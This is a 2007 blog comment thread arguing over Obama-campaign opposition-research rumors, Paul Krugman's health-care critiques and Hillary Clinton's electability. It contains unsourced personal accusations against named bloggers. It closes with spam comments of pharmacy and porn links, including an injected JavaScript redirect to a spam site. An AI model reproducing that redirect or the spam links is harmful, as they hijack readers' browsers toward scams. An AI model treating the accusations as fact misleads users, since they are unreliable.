I'm starting to feel like TPM is turning into an anti-Obama rumor mill.

Someone heard from someone about someone oppo-researching someone? WTF?

I've donated to the site in the past, because it seemed to have far more integrity than most sites. But now I'm getting the heebie-jeebies.

If this crap keeps goin on I'll outta here, folks.

DTM wrote on December 10, 2007 6:38 PM:

poetry,

Last I saw, New York did in fact have one of the highest party ID advantages for the Democrats in the country (at the time behind only Massachusetts and Maryland, if I recall correctly). In fact, Al Gore won New York by 25 in 2000 (while Clinton was winning by 11), and Kerry won New York by 19 in 2004.

By the way, the fact that Republicans sometimes win statewide elections in New York is not inconsistent with all that--Democrats do the same thing in "red" states too.

Liberal Larry wrote on December 10, 2007 7:00 PM:

The fact of the matter is that our Ivy League elitists don't want healthcare for ALL. They just want to justify their D.C. paycheck.

Greg DeLassus wrote on December 10, 2007 7:09 PM:

Dear Poetry,

Yes, I am aware of all of the points you just mentioned. I agree that they are worthy points, but (with the exception of Bill Clinton's approval numbers at the time he left office) none of them really speak to my concern, which is that to be electable in New York is not the same thing as to be electable for the purposes of accumulating a majority of electoral college members.

It is true that New York has elected Republicans to various state offices over the years, but it is hardly "nonsense" to regard it as a thoroughly blue state. It has gone to the democrat in last five presidential elections and 9 of the last 15. One of its senate seats has been controlled by a democrat for the last 30 years and the other for the last eight years. This is not really a swing state of the sorts that Sen Clinton will need to win in order to take the presidency. As such, I am still not sure what it means to say that they are "still standing" in the context of the present election.

Anonymous wrote on December 10, 2007 7:29 PM:

Greg Sargent, EC, TPM have hit a new low. This item is pure rumor mongering, trying to do damage to Obama. The Hillary crowd is scared and getting very low and dirty.

Obama is leading in many polls because he inspires people, has character and the capacity to bridge differences. Hillary does not.
.

Concerned in Iowa wrote on December 10, 2007 7:33 PM:

Poetry spins "Hillary was elected to the U.S. Senate (for New York) with 55 percent of the vote"

Hillary managed to get 55 percent with historically low turnout, very weak opponents, and spending vast amounts of funding from national corporate interests buying influence.

Get real.

poetry wrote on December 10, 2007 7:35 PM:

CT Voter & DTM:

If you had looked back at the post I was reacting to, you would have seen that Greg DeLassus didn't seem to think it amounted to much that Hillary had been elected to the senate from New York state, since he thought NY was pretty much a Democratic state. I was making the point that that is not always the case.

Remember Alphonse D'Amato? He was the senator for New York from 1981 to 1999, and he was a Republican. Before D'Amato, there was Senator Javitts, a Republican who served from 1956 to 1981.

The point is it was not a sure thing that Hillary would win the NY senate seat. Republicans often win in NYC and New York state.

poetry wrote on December 10, 2007 7:42 PM:

Greg DeLassus:

I think if Bill Clinton could legally run for president again, he would win easily. And I think he would have "cleaned Bush's clock" in 2000 and certainly in 2004, once the country had had a chance to get acquainted with Bush.

Bill Clinton, to this day, remains popular with the American public in spite of everything the rightwing extremists threw at him. In fact, President Clinton's approval rating reached its HIGHEST point at 73% approval in the aftermath of the Republican-driven impeachment proceedings in 1998 and 1999.

poetry wrote on December 10, 2007 7:44 PM:

Concerned in Iowa:

I have relatives in Iowa so I won't call you stupid and uninformed; I'll just say you are being silly.

Katherine wrote on December 10, 2007 9:08 PM:

Obama's down and dirty campaign is also spreading oppo research on Edwards.
http://www.dailykos.com/story/2007/12/10/195540/92/636/420420

DemAC wrote on December 10, 2007 9:14 PM:

It’s a good thing you’re Concerned in Iowa and not in New York State. You clearly don’t even have a clue as to what transpired in election 2000 in New York.

When she was first elected to the United States Senate by the people of New York on November 7, 2000 her initial opponent was none other than Hizzoner himself. When he withdrew from the election for health reasons the Rethugs quickly coalesced behind US Rep. Rick Lazio, a skilled campaigner and more skilled in the dark ways of the Big Red Slime Machine than you could ever dream of.

Senator Clinton’s victory in the 2000 election was a reward for hard work, hard campaigning and endurance of the operations of the Rethug Mud Machine. Hillary Clinton consistently improved her standing as her starting position, so to speak, wasn’t nearly as comfortable as her final victory margin. This was especially true with regard to Republican leaning upstate NY.

Her win in 2006 was easier, as was mentioned above, because by then New Yorkers had gotten to know Senator Clinton really well and when voters connect with Hillary Clinton and get to know her and to see her and to listen to her ideas they usually respond very, very well.

For the rest, your spin on corporate blah blah etc is just the usual Hillary hating bullshit. If you want to roll yourself around in it – that’s your problem.

DemAC wrote on December 10, 2007 9:24 PM:

Katherine,
A somewhat embarrassing moment for the Politics of Hope and Change. Perhaps he can take a cry at Oprah’s shoulder?

mkolb wrote on December 10, 2007 9:36 PM:

Thanks for the info, DTM

vena wrote on December 10, 2007 10:25 PM:

Sorry for the error, I meant Harry Reid's son. I'm getting all the facts jumbled, too much info. at once. Thanks for correcting me.

CalD wrote on December 10, 2007 10:30 PM:

Last I saw, New York did in fact have one of the highest party ID advantages for the Democrats in the country (at the time behind only Massachusetts and Maryland, if I recall correctly). In fact, Al Gore won New York by 25 in 2000 (while Clinton was winning by 11), and Kerry won New York by 19 in 2004.

DTM,

You must be talking about the Annenberg survey from 2005. Anyway, what's your point? For most of the time that I lived down there George Pataki was governor, Alfonse D'Amato was senator, Rudy Giuliani was mayor of the city and New York state had at least a dozen republican congressmen out of 31. It's not like anyone gets a free ticket to the dance just for being a Democrat in New York state.

uberskeptic wrote on December 10, 2007 10:46 PM:

As far as I'm concerned, Krugman has done the math, told the truth and withstood prolonged heat from more powerful adversaries than the Obama personality cult.

As of now, Obama is at the bottom of my list of Democratic candidates. I do not want a president who attacks his best sources of advice because they're inconvenient. We have that now.

Anonymous wrote on December 10, 2007 11:02 PM:

GUARANTEED that the one (count 'em, ONE) "progressive blogger" obliquely referred to by Bowers after he corrected his previous exaggerated claim is someone who is a known Hillary shill. Someone like Taylor Marsh. I'll just bet it's Marsh.

More important: why on earth would a campaign *not* be conducting research on potential bias or self-interest of a media entity, whether that be Fox News, ABC, or... heaven forbid... TPM. Sargent, you and Kleefeld have been so deplorable in exhibiting your Hillary-bias in nearly every story you write that I, personally, have been inspired to do internet-based "oppo research" on the both of youses (don't worry, you've covered your tracks quite well thus far). And I don't even work for Obama or Edwards. The idea that the objectivity of a particular "blogger" (or his/her lack thereof) is not fair game for a presidential campaign is ridiculous.

Your reporting is a joke. Just absolutely shameful. An outrage. A traveshamockery. I have no more words to describe it. Josh took a one week vacation from this site. I keep telling myself I'm going to take a permanent one. I hope my fellow enlightened readers will follow suit (and recommend a new one for me, since I've been on this one since back when it was sticking to real journalism).

You'd Better Not Censor This wrote on December 10, 2007 11:06 PM:

GUARANTEED that the one (count 'em, ONE) "progressive blogger" obliquely referred to by Bowers after he corrected his previous exaggerated claim is someone who is a known Hillary shill. Someone like Taylor Marsh. I'll just bet it's Marsh.

More important: why on earth would a campaign *not* be conducting research on potential bias or self-interest of a media entity, whether that be Fox News, ABC, or... heaven forbid... TPM. Sargent, you and Kleefeld have been so deplorable in exhibiting your Hillary-bias in nearly every story you write that I, personally, have been inspired to do internet-based "oppo research" on the both of youses (don't worry, you've covered your tracks quite well thus far). And I don't even work for Obama or Edwards. The idea that the objectivity of a particular "blogger" (or his/her lack thereof) is not fair game for a presidential campaign is ridiculous.

Your reporting is a joke. Just absolutely shameful. An outrage. A traveshamockery. I have no more words to describe it. Josh took a one week vacation from this site. I keep telling myself I'm going to take a permanent one. I hope my fellow enlightened readers will follow suit (and recommend a new one for me, since I've been on this one since back when it was sticking to real journalism).

dubljilicious wrote on December 10, 2007 11:11 PM:

I'll fart into the wind here too..
Kudos to Bowers for having the brass ones to foist such a horseshit story onto the web, and kudos again for admitting it.

To Poetry
As a New Yorker, I'd like to point out that although Al D'Amato is a republican, a NY republican, especially from the days of Koch and Cuomo, isn't really a capital-R republican..

beowulf wrote on December 10, 2007 11:22 PM:

Someone on Google Answers offered $100 on Google Answers for oppo research on Krugman: "I would like to acquire as much information as possible about the
personal and professional life of Paul Krugman, the Princeton
economics professor who writes a column for the New York Times..."

He got more info than he bargained for, his correspondent came up with an astonishing array of Krugman facts and who ended his answer with this...

"So that's the story; sorry, I wish it was more interesting. Lots of additional information, including a CV, can be found at the unofficial site, www.pkarchive.org.

"You can mail the $100 check to:
Paul Krugman
Woodrow Wilson School
Princeton University
Princeton, NJ 08544"
http://www.pkarchive.org/personal/Strangelove.html

beowulf wrote on December 10, 2007 11:25 PM:

ugh, sorry for the poor grammar. I merged paragraphs and forgot to cut the extra Google Answers--- which doesn't exist anymore, IIRC.

CalD wrote on December 11, 2007 12:26 AM:

Bowers is right, Ezra Klein did put the whole thing in a nutshell rather nicely over at The American Prospect.

"To say a bit more on this, the campaign's attack on Krugman raises the question they don't want to answer: What changed? When Obama's plan came out, Krugman, and me, and Jon Cohn, and all the usual suspects criticized it for lacking an individual mandate, but said that, on the overall, it was pretty good, and Obama had passed the bar. Suddenly, we're all up in arms. Why?

Well, it was one thing when Obama simply didn't have a mechanism to achieve universality. It became a whole other when he began criticizing mechanisms to achieve universality. Previously, he'd gotten some flack for buying into the conservative argument that Social Security was in crisis. Now he was constructing a conservative argument against far-reaching reform proposals. And he kept doing it. And now his campaign is misrepresenting Krugman's comments in order to imply contradiction. But Krugman hasn't contradicted himself. Where his original comments focused on Obama's plan, his newer arguments are attempting to beat back Obama's rhetoric. And Obama's rhetoric has become much, much worse than his plan. That it's ended with him having to go on the offensive against the most forthrightly progressive voice in major American media is evidence of that fact."

(Apologies for the on-topic post.)

JC wrote on December 11, 2007 2:01 AM:

Attack on Krugman? WTF? Look I was fed krugman--in the bottle--love the guy but really, the attack line is complete b.s.; they put links to two article HE wrote on their web page and quoted from both!? That's an "attack?" Seriously? Sorry I expect something more from TPM from Krugman. There are legitimate criticisms to be made of Obama, if you are conservative, he is too liberal, if you are anti- abortion, he is pro-choice. Let's have it out on those questions, but this "Obama attacks" thing is a joke.

TRUE Progressive Barack Dem wrote on December 11, 2007 2:26 AM:

Oh please. Who really is this twit Bowers and his blog Boyo brother Stoller...Hill Shills bought and paid for as all of you Vichy Dem cheerleaders are whether admit to getting a cut of the action or not...It is clear to anyone who wasn't born yesterday...these young toady blog surrogates are sh*t stirring on the Clinton's behalf,

Bowers has NO credibility whatsoever as he effectively writes himself checks as "Treasurer" of Markos and SEC Stock Touting Charge Settler/Blogger Jerome Armstrong's BLOGPAC...Astoundingly BLOGPAC has done little OTHER than to support Bowers and a small crew of Netroots "Hero's" with small payola......Stoller is running the same scam with DCCourage, his bud's shell PAC , another personal surrogate support systems really run out of some twenty-somethings apartments in DC..Hillary-ously , DC Courage had a corny endorse from Stoller and names Nancy Peloosi as a "Netroots Hero".. Yeh, sure --these guys are organic "grassroots" Why don't they just astroturf my @ss and the wife and kids too...

it's like the DC courage softball piece to draw attention to Hill and Portray her as victim..they released a vaporWare press release of an ad supposedly "attacking Hillary" to make it look like it came out of the OBama camp..Coming from guys who are known to be WORKING FOR Hillary...Their viral promo got them a plug last week in WaPo and Politico with nothing but a phone,filing, and press release, not one nickle in the bank from Grassroots, in fact not one nickle at all just a plea to support PartyBoyz astroturfing dirty tricks that barely conceal their HillShilling..Most of the Money trail is on the FEC web site, A lot of it buried in a 3000 page FEC filing form ActBlue...It will be used to cream Hillary later on if the Dem's are foolish enough to nom her.

Anonymous wrote on December 11, 2007 2:41 AM:

Is it just me or is Krugman's whole take on universality thoroughly off base? Isn't the private, for-profit nature of the insurance industry the primary obstacle to meaningful health care reform? He talks allot about insurance for all, but does he ever takle the issue of needing to reform the insurance industry? If so, kindly point me in to the information.

Anonymous wrote on December 11, 2007 2:51 AM:

This whole "charge" of opposition research by the Obama camaign against liberal bloggers, agains John Edwuards, is all reported 2nd and 3rd hand as "rumored". It is clearly a Clinton Campaign dirty trick.

Hillary's poll numbers are collapsing. She, Bill and her machine are getting DESPERATE. They have no substance on which to challenge Obaman. Hillary's own opposition research (the Obama Kindergarten essay!) backfired. Now they are trying to trash Obama with rumors, and pit Obama and Edwards against each other.

Some one please unplug those dirty-playing Clintons, so the nation can debate candidates on substance and elect a new president. We need to leave the Bush-Clinton era and its mean-spirited politics of division behind and move forward as a nation.

random wrote on December 11, 2007 2:55 AM:

arbitrista wrote "I'm an Obama "leaner, but I have to say that his dealings with Krugman have been blundering."

arbitrista, oh really? Your posting has all the traits used by Clinton operatives on websites: make a statement that obscures your real loyalties and intent, and either attack the opponent or praise Hillary.

Transparent tactic that thinking posters recognize for what it is.

Concerned in Iowa wrote on December 11, 2007 3:05 AM:

"Prove it" said "Give facts. Name names. Put up or shut up.

That is great advice. Greg Sargent's aggressive support of Hillary Clinton udnermines TPM and EC. This is a whisper attack against Obama in classic Bush-Rove, Clnton-Penn style. That fact that TPM is trying to give it life is disturbing to say the least.

DTM wrote on December 11, 2007 3:38 AM:

This is indeed off topic, but the basic point of the discussion above is that thanks to an unusually large party ID advantage for the Democrats, New York is not a swing state. Again, the fact that Republicans sometimes win statewide elections in New York is not inconsistent with that claim. As I noted before, this works both ways: the GOP has a massive party ID advantage in Kansas, but Kansas elected a Democratic governor (Sebelius) in 2002. Of course that did not show that Kansas would be a swing state in 2004, and Bush won by 25 over Kerry.

savvy wrote on December 11, 2007 8:54 AM:

Trueprogressivebarackdem

You are absolutely dead on target and RIGHT!

This hypocritical nonsense with McClurkin is also a redherring cooked up by the same Hillary supporters as they made no protest over all the anti-gay ministers on her payroll. McClurkin is not on Obama's payroll nor was Obama on tour with him. So, all of this sounds like nothing more than a hotqueeniemess from the same twittering group. They did not prevail with McClurkin so they are just looking for any opportunity to attack on Hillary's behalf. Please this is so obvious. It is ridiculous.

Even this characterization of 'oppo research document' is total rumourmongering to continue to add fuel to embers from McClurkin.

I can't believe that TPM-EC and Greg Sargent are involved with this slanders gossipmongering from the blogosphere.

swag wrote on December 11, 2007 9:20 AM:

Update: Bowers won't back his allegations with evidence:

http://www.openleft.com/showComment.do?commentId=20817

Kefa wrote on December 11, 2007 9:31 AM:

Soon and mark my words Mr Positive Obama will turn on Mr Edwards and attack him soon
Faster then a dooberman.

Jane wrote on December 11, 2007 9:56 AM:

Taking a quote out of context to make Dr. Krugman appear to have changed his mind when Dr. Krugman didn’t is both a personal attack and a smear. It is politics as usual.

Sure, as pointed out in more detail above, Dr. Krugman said ‘So there’s a lot to commend the Obama plan but Krugman in the very same column also said that Obama said he has a plan for universal health care when Obama doesn’t and ‘[i]n that regard it’s actually weaker than the Schwarznegger plan.”

Dr. Krugman also became alarmed that Obama was increasingly repeating the Republican meme that Social Security is in trouble when it is not. It may be good politics but it is not good policy to assure the voters that you can ‘fix’ this non-existent problem.

Another Republican frame is that Americans cannot be told to do anything and that anything the government asks them to do – except die in a war– is an imposition. This ignores the fact that there are things that Americans can essentially decide to provide for themselves by acting together that they cannot as well obtain by acting individually. To object to mandates because they are in some way ‘wrong’ is to promote this line of thinking. Mandates are a choice we can make together to obtain something we cannot obtain without acting together. Thus while you can argue against a particular mandate on the grounds that that mandate is not obtainable or inadvisable for particular reasons to argue against mandates because they are in some way un-American is to argue against the underlying idea of government for the promotion of the general welfare. For those of you with an allergy to the word ‘welfare’ that’s from the Preamble to the Constitution of the United States of America.

A poster above buys into this framing when he asks why he should be ‘forced’ to buy insurance to keep costs down for the rest of us. There are two answer:1)if he doesn’t and he does become ill he will then be freeloading when he obtains health care because that health care is subsidized by the rest of us and 2) he can look at it the other way – everyone else is being asked to buy health insurance to keep the cost of both health care and health insurance down for everybody.

Mandates are a choice we can make together to obtain something we cannot obtain without acting together. There is no way that acting individually I can stop people from skipping health insurance when they are healthy and thereby driving the cost of insurance up for those who pay – and insurance does subsidize the health care costs for those without and using expensive emergency services instead of prevention. We can choose to act together to avoid these problems but this does involve refusing to allow those who don’t want to to impose costs on the rest of us.

This is not intended as brief for insurance companies since single payer is a better way to go but it is true that those who have insurance seek health care earlier and this avoids costs later.

Echoing the other side’s talking points can either be viewed as ‘uniting’ or as ‘pandering’.

poetry wrote on December 11, 2007 10:06 AM:

dubljilicious:

What are you talking about? Governor Mario M. Cuomo is a strong Democrat, not a Republican.

Al D'Amato is/was an ardent Republican.

Gov. Pataki, who was NY governor for three terms (after Mario Cuomo) is also a Republican, a strong Republican.

And, furthermore, I think Rudy Giuliani (Republican) did not drop out of the 2000 NY senate race because of his health problems .. I think he saw his own internal polling and knew he was losing to Hillary.

Greg DeLassus wrote on December 11, 2007 10:34 AM:

Greg DeLassus didn't seem to think it amounted to much that Hillary had been elected to the senate from New York state, since he thought NY was pretty much a Democratic state. I was making the point that that is not always the case.

Fine. Point taken. I do not wish to take anything away from Sen Clinton's achievements in New York. Suffice it to say, I am glad for any senators who will caucus with the democrats, Sen Clinton very much included. My real point (which still stands after all your several rebuttals) is that to win in a statewide race in NY is not really the same thing as to win in the nationwide race for the presidency.

Your point was that she was "still standing" after years of taking a hit from the Republican slime machine. Is her achievement in NY really a testament to this? That is to say, nearly any race of any great significance any more starts out with the democrat possessed of ~40% of the vote and the republican possessed of another ~40%, with the two fighting like mad for that remaining ~20%. To what extent is that 20% in NY at all affected by the blathering of the GOP noise machine? I do not pretend to know, but it is not at all obvious to me that NY's undecided 20% is as attentive to Limbaugh, Hannity and O'Reilly as (for instance) Florida's 20% or Ohio's 20%. Unless you are prepared to argue that the undecideds of NY are just as attentive to right-wing smear peddlers as the undecideds of genunine swing-states, then it is not clear to me that her well-won wins in NY really speak to the point you are trying to make.

I think if Bill Clinton could legally run for president again, he would win easily.

That really is the question at hand. Would he? It is hard for me to say, and of course we will never find out because such a thing is unconstitutional. That said, I simply take note of the fact that both times that he did win, he actually lost the popular vote and came surprisingly close to losing the electoral vote as well. As such, I am not at all confident about extrapolating from his last set of approval ratings to the conclusion that he would win again without Perot playing the spoiler for him. To reiterate, the claim that the Clintons are "still standing" after all the attacks is not self-evidently true to my mind. It might be just as true to say that they are reduced to the state that they can only win in democratic-friendly jurisdictions.

Michael A wrote on December 11, 2007 10:45 AM:

I haven't heard anything from the republican slime machine about the clintons for the last year or so. The slime machine was in full operation in the 90's and has been silent since, other than ny, which I confess, I don't know what was said in those elections.

Yes, they are "still standing," but the machine has been silent. Where is all the garbage that we all know will be slung if she gets the nomination? The silence is deafening.

Bottom line, agree she most probably would win royal blue states, like ny that hasn't gone republican since the b-movie actor. Her problem is with the purple and light blue states, which definitely puts her candidacy in jeopardy in a general election. I think much more than any of the other dem candidates when you add in all the baggage.

On mr. bill, I don't know about the conclusion that he would win easily. Maybe against the field that the republicans have right now, but there is alot of independent and republican animosity toward the clintons in general. I think he would have a tough time in the swing states and, as noted, he never broke 50% in either election.

Greg DeLassus wrote on December 11, 2007 11:04 AM:

I haven't heard anything from the republican slime machine about the clintons for the last year or so.

To be very fair to Poetry, I regret to inform you that this is not at all true. I am a breast cancer researcher and one of the other labs in my dept where some of the departmental microscopes are located has an entheusiastic ditto-head as a lab manager. He keeps the radio tuned to Rush/Hannity as often as possible, so it regularly arrives that I have to listen to the nonsense as I use the microscopes. Both Clintons are regular subjects of discussion and have been for years now, even before it became clear that Sen Clinton was planning a run for the presidency and you can be quite sure that most things said about them have been terribly unflattering and usually dishonest. Poetry is definitely right to say that they have been hit by the slime machine; my only point of disagreement with him/her concerns the contention that they are "still standing." If that is meant to imply that they can still win nationwide elections despite their having been slimed, I am still not convinced that this claim is accurate.

poetry wrote on December 11, 2007 11:22 AM:

-- from The New York Times today: http://tinyurl.com/yqvg7s

"By contrast, Democrats are happier with their field and more settled in their decisions. For all the problems Senator Hillary Rodham Clinton appears to be having holding off her rivals in Iowa and New Hampshire, she remains strong nationally, the poll found. Even after what her aides acknowledge have been two of the roughest months of her candidacy, she is viewed by Democrats as a far more electable presidential nominee than either Senator Barack Obama or John Edwards.

"Not only do substantially more Democratic voters judge her to be ready for the presidency than believe Mr. Obama is prepared for the job, the poll found, but more Democrats also see Mrs. Clinton rather than Mr. Obama as someone who can unite the country."

Greg DeLassus wrote on December 11, 2007 11:37 AM:

Not only do substantially more Democratic voters judge her to be ready for the presidency than believe Mr. Obama is prepared for the job, the poll found, but more Democrats also see Mrs. Clinton rather than Mr. Obama as someone who can unite the country.

Fair enough. To my mind this stands as testament to a certain degree of democratic self-delusion, but I would be delighted to be proven wrong about that.

Michael A wrote on December 11, 2007 11:57 AM:

Ok, I don't listen to lush/insannity. I sometimes try to tune in, but I can't stand it, so I invaritably tune out. I'll give on those cretins. I would also surmise that more moderate voters don't tune in to them or pay attention.

I do watch fox entertainment periodically, especially the sunday show to see what they are saying. Up until about a month ago, I just heard praise of clinton II. In fact, I all most threw up hearing kristol's praise. It was orwellian. Also, I sometimes skim through hume's neanderthal show and the same thing was occurring. So my point of reference is primarily fox entertainment, which I would guess has a wider reach than lush and insanity.

I still don't think the republican slime machine is in full gear. How do you explain rove's praise of clinton II or the other republican leadership? I still don't get it. Remember rove on the way out was annointing her the nominee. Lott was singing her praises. It's strange.

Also, on lush and insannity have you heard them talking about the clinton white house years? I haven't heard boo about that stuff. The only point on this is that getting it out now defuses the impact. I am not trying to be negative. I just don't want to see a bloodbath if she is the nominee.

I agree on your uniting point in the poll. Clinton II is the most divisive and has the highest negatives. I can't see that one.

Jane wrote on December 11, 2007 12:11 PM:

The reThug slime machine will come after any Democratic candidate they see as a threat.

Their atttacks on Hillary are old news and most people have made up their minds. Their attacks on Barack will be new and will have to be sorted out in people's minds.

dilford wrote on December 11, 2007 12:30 PM:

Greg Sargent writes of "the mess surrounding antigay folk singer McClurkin..." WTF? First, on a morbid-curiousity note, does anybody know of any antigay folk songs? Second, the fact that the conflicted McClurkin is a gospel singer is part of the story surrounding the "mess". Gospel moves units; folk music, not so much. The craven, crafty, duplicitous Obama would never have stood with the People's Music (that's folk) but rather aligns himself with the rancid strains of the opiate of the masses and the caterwauling that goes with it. Proof! Ooops, no, wait, not proof, rather the opposite? Jeez, I'm as lost as trying to figure out the comparative merits of health care plans that will inevitably change completely once our legislators actually get their paws on it...(and that are, as EVERYONE seems to agree, infinitely better than any plan a GOP candidate has unveiled).

I would also agree with the posters above that there are some likely blog-candidates on the left (cough, Taylor Marsh, cough) who seem pretty identifiably anti-Obama. I would expect his campaign to be able to respond with "Well, what do expect given that blogger X, Y or Z..." when such a blog makes an attack, just as much as I would expect them to be aware of the coverage of Obama on right-wing blogs and be able to respond quickly (when warranted - there's a difference between a Free Republic comment string and a front-page story on Drudge).

Politics ain't for sissies (unless, of course, they self-identify as "sissies" to take back their sexual identity from the oppressor who would seek to use hateful name-calling in a despicable way).

Greg DeLassus wrote on December 11, 2007 12:30 PM:

Their atttacks on Hillary are old news and most people have made up their minds.

Exactly, and those folks have, in large measure, made up their minds against Sen Clinton. Her negative ratings among independants are the highest of any candidate, republican or democrat. This means that she starts off the fight for the undecided votes in swing states at a disadvantage compared to any republican.

Their attacks on Barack will be new and will have to be sorted out in people's minds.

True. That said, Sen Obama's negative ratings among independants are presently the lowest of any major candidate, republican or democrat. As such, the GOP slime machine has much work to do to get tarnish Sen Obama's lustre to the same degree that Sen Clinton's is already tarnished. Given the choice between a candidate who might be viewed unfavorably in a general election and one who already is, it is hard to see how the "already is" status is to be viewed as some sort of advantage.

http://www.gallup.com/poll/26680/Giuliani-Has-Uniquely-BroadBased-Political-Appeal.aspx

slb wrote on December 11, 2007 5:49 PM:

I'm sorry, Obama-ites. Obama's web site does not "simply point out what Krugman said in the past." It takes only the positive things Krugman said early on and contrasts them with only the negative things said later, creating the appearance of a discrepancy that does not, in fact, exist. That is intellectually dishonest on the part of the Obama campaign.

barackobama.com quotes Obama as saying that he intends to campaign the same way he intends to govern. If that web site is an example of the way he intends to campaign, then I think we have seen far too much of that style of "governance." I thought Obama was supposed to represent a change from all that. Guess not.

Chino Blanco wrote on December 11, 2007 8:25 PM:

"Intellectually dishonest" ??

Let's see ... you got your "positive things" and you got your "negative things" ... but now someone has gone and craftily placed these two things side-by-side on a webpage, so obviously they must be engaging in some kind of skullduggery?

Please, go read the actual "oppo" piece in question.

It ain't "oppo", and all the overwrought posts and comments suggesting otherwise simply lead me to suspect that what's really going on here is that a bunch of folks have decided Obama owes them an apology.

Get over yourselves.

gloryoski wrote on December 17, 2007 4:05 PM:

Paul Krugman's most serious mistake was not presenting enough information about why a no-mandate plan was not desirable in light of the specific plans offered elsewhere. In doing so, he left himself open to what seemed like valid objections from "the left" to his insistence on mandates. This insistence that the most important things was everyone paying in seemed to us doctrinaire and naive. It did not take into account that corporate influence could prevail in practice and that upper-lower-income and even middle-class people being required to buy crap insurance that they still couldn't afford. We therefore also saw his warnings about people "gaming the system" as aimed at those people and therefore classist/elitist.

Well I've looked at HC's plan now and at Edwards'. HC's plan says that the amount paid out in premiums will be restricted to "a percentage of income." Better than I expected, from her, but characteristically vague. What percentage, pray tell, mi reina?

Edwards spells out that there will be sliding scale subsidies up to 100,000 of income. Very commendably specific. Makes mandates seem a lot less alarming and fairer. I still think he's a phony populist because of the way he voted on that bankruptcy bill, but that's OT.

So, all Dr. Krugman really had to say to avoid lots of negative comments and confusion was that the issue of affordability lower down the income scale was addressed by Edwards' plan, semi-addressed by Hillary's. He might even have said (if true) that when he was talking about people "gaming the system" under a plan without mandates, he was at least equally worried that richer people would be allowed to forgo insurance and preventive care and then get their higher emergency-room/chemotherapy etc. bills paid by those tax-payers who had been responsible and paid into the system. Given how many richer people try to get out of paying their fair share of taxes, this seems a reasonable worry to me, and so a reasonable argument for not supporting a plan without mandates given the contents of the other two.

So, I am a little baffled that in a proportionately huge number of columns on the subject, we see little of his good argumentation, charts/graphs and the like. The columns on Obama do indeed seem more ego driven and less interested in informing folks. Today's column still does not respond in a helpful way. He brings up mandates in the first sentence but basically changes the subject. Still no new info brought to the table.

So, I'm glad that I took the time to read the plans myself. I now know I may not have to be so scared of mandates (which should be the main concern). I also know that Paul Krugman is maybe just personally clumsy or favoring Edwards too much (and also cat person) but that he is not in fact evil incarnate nor does he work for her.

Nadcackaniday wrote on January 28, 2008 3:19 AM:

СКАЧАТЬ ПОРНО | http://sex1.ashanet.ru >free gay sex stories
rutester
document.location='http://megasearchers.org/in.cgi?3';

arradbarm wrote on January 29, 2008 10:07 AM:

viagra online bestellen | http://anytime.engr.washington.edu/user/view.php?id=2826&course=1 >viagra online bestellen
buy levitra online viagra | http://www.seabury.edu/moodle/user/view.php?id=1334&course=1 >buy levitra online viagra
viagra mail order | http://www.seabury.edu/moodle/user/view.php?id=1336&course=1 >viagra mail order
keyword order viagra | http://www.seabury.edu/moodle/user/view.php?id=1337&course=1 >keyword order viagra
buy cialis online viagra | http://medschool.slu.edu/moodle/mod/forum/discuss.php?d=759 >buy cialis online viagra
generic viagra perception online | http://medschool.slu.edu/moodle/mod/forum/discuss.php?d=761 >generic viagra perception online
generic viagra many information online | http://medschool.slu.edu/moodle/mod/forum/discuss.php?d=763 >generic viagra many information online
generic viagra information online | http://medschool.slu.edu/moodle/mod/forum/discuss.php?d=764 >generic viagra information online
viagra online uk | http://medschool.slu.edu/moodle/mod/forum/discuss.php?d=765 >viagra online uk
generic online viagra | http://medschool.slu.edu/moodle/mod/forum/discuss.php?d=766 >generic online viagra
viagra order online | http://medschool.slu.edu/moodle/mod/forum/discuss.php?d=768 >viagra order online
comprar viagra online | http://docs.moodle.org/ru/User_talk:comprar_viagra_online >comprar viagra online
viagra online prescription | http://morfeo.upc.es/crom/user/view.php?id=2611&course=1 >viagra online prescription
viagra online kaufen | http://morfeo.upc.es/crom/user/view.php?id=2612&course=1 >viagra online kaufen
cheapest place to buy viagra online | http://moodle.hpcf.upr.edu/user/view.php?id=1180&course=1 >cheapest place to buy viagra online
discount viagra online | http://moodle.hpcf.upr.edu/user/view.php?id=1181&course=1 >discount viagra online
online viagra sale | http://www.actionscript.org/forums/member.php3?u=64500 >online viagra sale
download free porn movie | http://www.actionscript.org/forums/member.php3?u=64501 >download free porn movie

HauhReuth wrote on January 30, 2008 11:51 AM:

ciali
ciali
viagra online bestellen | http://forums.m4l.usmc.mil/member.php?u=12616 >viagra online bestellen
buy cialis viagra | http://morfeo.upc.es/crom/user/view.php?id=2617&course=1 >buy cialis viagra
buy viagra woman | http://courseware.fwbbc.edu/user/view.php?id=2197&course=1 >buy viagra woman
buy viagra canada | http://moodle.fse.nova.edu/user/view.php?id=987&course=1 >buy viagra canada
comprar viagra online | http://courses.isucomm.iastate.edu/user/view.php?id=6518&course=1 >comprar viagra online
buy viagra canada | http://www.itce.alquds.edu/etraining/user/view.php?id=1356&course=1 >buy viagra canada
mexican pharmacy viagra | http://moodle.cerrocoso.edu/user/view.php?id=10293&course=1 >mexican pharmacy viagra
viagra online prescription | http://moodle.sats.edu.za/user/view.php?id=2245&course=1 >viagra online prescription
generic viagra pack | http://courses.isucomm.iastate.edu/user/view.php?id=6519&course=1 >generic viagra pack
cheapest generic viagra | http://courses.isucomm.iastate.edu/user/view.php?id=6520&course=1 >cheapest generic viagra
cialis generic levitra viagra | http://www.musicatschool.co.uk/moodle/user/view.php?id=68&course=1 >cialis generic levitra viagra

Post a comment

Name:
Email Address:
URL:
	Remember personal info?
Comments: (you may use HTML tags for style)